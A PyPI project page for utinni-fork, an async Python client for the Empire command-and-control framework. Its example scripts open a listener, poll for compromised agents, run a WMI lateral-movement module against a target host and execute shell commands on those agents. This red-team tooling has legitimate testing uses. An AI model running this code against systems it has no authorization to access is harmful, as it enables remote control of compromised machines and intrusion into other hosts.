Skip to main content

This is a fork. The original repository can be found here

Utinni

Utinni

An async Python client library for Empire's RESTful API

(Only works with the BC-Security Empire fork)

Sponsors

Table of Contents

Installing

Via Pip:

  • pip3 install utinni

Docker image:

  • docker pull byt3bl33d3r/utinni

Examples

See the examples folder for more.

Simple example showing basic usage:

import asyncio
from utinni import EmpireApiClient

async def main():
    # Create client instance
    empire = EmpireApiClient(host="localhost", port="1337")

    # Login to Empire's RESTful API
    await empire.login("username", "password")
    print("* Logged into Empire")

    # Create a listener
    await empire.listeners.create(listener_type="http", name="Utinni", additional={"Port": 8443})

    print("* Waiting for agents...")
    while True:
        # Poll for new agents every 1 sec
        for agent in await empire.agents.get():

            #Print some basic info on the new agent
            print(f"+ New agent '{agent.name}' connected: {agent.domain}\\{agent.username}")

            # Execute a module on the agent
            module_output = await agent.execute(
                    "powershell/lateral_movement/invoke_wmi",
                    options={
                        "ComputerName": "targethost",
                        "Listener": "Utinni",
                    },
                )

            print(f"++ Executed invoke_wmi module on agent '{agent.name}'")
            print(f"++ Module output: {module_output}")

        await asyncio.sleep(1)

# Start the event loop
asyncio.run(main())

Example with background tasks:

import asyncio
from utinni import EmpireApiClient

async def agent_poller(empire):
    # Poll for new agents every 1 sec
    print("* Waiting for agents...")
    while True:
        for agent in await empire.agents.get():
            #Print some basic info on the new agent
            print(f"+ New agent '{agent.name}' connected: {agent.domain}\\{agent.username}")

            # Do whatever you want with the agent object here and it won't block the main thread
            # In this example executing we're executing a shell command
            cmd_output = await agent.shell("dir")

            print("++ Executed shell command")
            print(f"++ Output: {cmd_output}")

        await asyncio.sleep(1)

async def main():
    # Create client instance
    empire = EmpireApiClient(host="localhost", port="1337")

    # Login to Empire's RESTful API
    await empire.login("username", "password")
    print("* Logged into Empire")

    # Create a listener
    await empire.listeners.create(listener_type="http", name="Utinni", additional={"Port": 8443})

    # Start the 'agent_poller' coroutine as a background task 
    agent_poller_task = asyncio.create_task(agent_poller(empire))

    # Do more stuff here as this thread isn't blocked.
    available_empire_modules = await empire.modules.get()

    # Wait for the agent_poller_task to complete
    # in this example it won't ever finish since it's in a infinite loop.
    await agent_poller_task

# Start the event loop
asyncio.run(main())

FAQ

1. Why?

This was originally made for the DeathStar project, the author then realized it would be useful as a stand-alone library.

2. Why doesn't this library provide a sync API?

Cause it doesn't make sense. In 99% of all use cases you're going to want to call/execute/query/do multiple things at the same time. This is legitimately the perfect use case of AsyncIO.

3. Will this work with the original Empire repository and not the BC-Security Fork?

Probably not. You're welcome to try though.

Metadata

Release files for utinni-fork 0.5.2

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for utinni-fork 0.5.2
File Size Uploaded Provenance
utinni_fork-0.5.2.tar.gz 17.8 kB Without provenance Details

Built distribution (wheel)

Table of built distributions (wheels) for utinni-fork 0.5.2
File Interpreter ABI Platform
utinni_fork-0.5.2-py3-none-any.whl Python 3 none any Details

Total release size: 48.5 kB

Release files / utinni_fork-0.5.2.tar.gz

Download URL utinni_fork-0.5.2.tar.gz
Size 17.8 kB
Tags Source
SHA-256 checksum
How to use checksums
24fae03e9270373c96aeab5ca71610c1e4708f10a4e96c3d4a090716ea06ba33
BLAKE2b-256 checksum
How to use checksums
c4c75be636b56230c815a83d98418c9f9032a68432beec742e02cc735976ae98
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via poetry/1.7.0 CPython/3.11.6 Linux/6.5.0-3-amd64

Release files / utinni_fork-0.5.2-py3-none-any.whl

Download URL utinni_fork-0.5.2-py3-none-any.whl
Size 30.8 kB
Tags Python 3
SHA-256 checksum
How to use checksums
bb17a8ee9aee26a92296b009ef9ec9a3376425df209fcf0685cdb997f3249cbb
BLAKE2b-256 checksum
How to use checksums
b52f9b5c71b52a0b2fddee34e9e80bea00d0ecec31106b98a5fbd09784019ced
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via poetry/1.7.0 CPython/3.11.6 Linux/6.5.0-3-amd64

Security for utinni-fork 0.5.2

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

No provenance found

None of the files in this release were uploaded with provenance metadata.

A note on package security

PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.

To learn more about protecting yourself from malicious actors, visit our package security documentation.

Release history Release notifications | RSS feed

This release

0.5.2 This release

2 release files No provenance

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page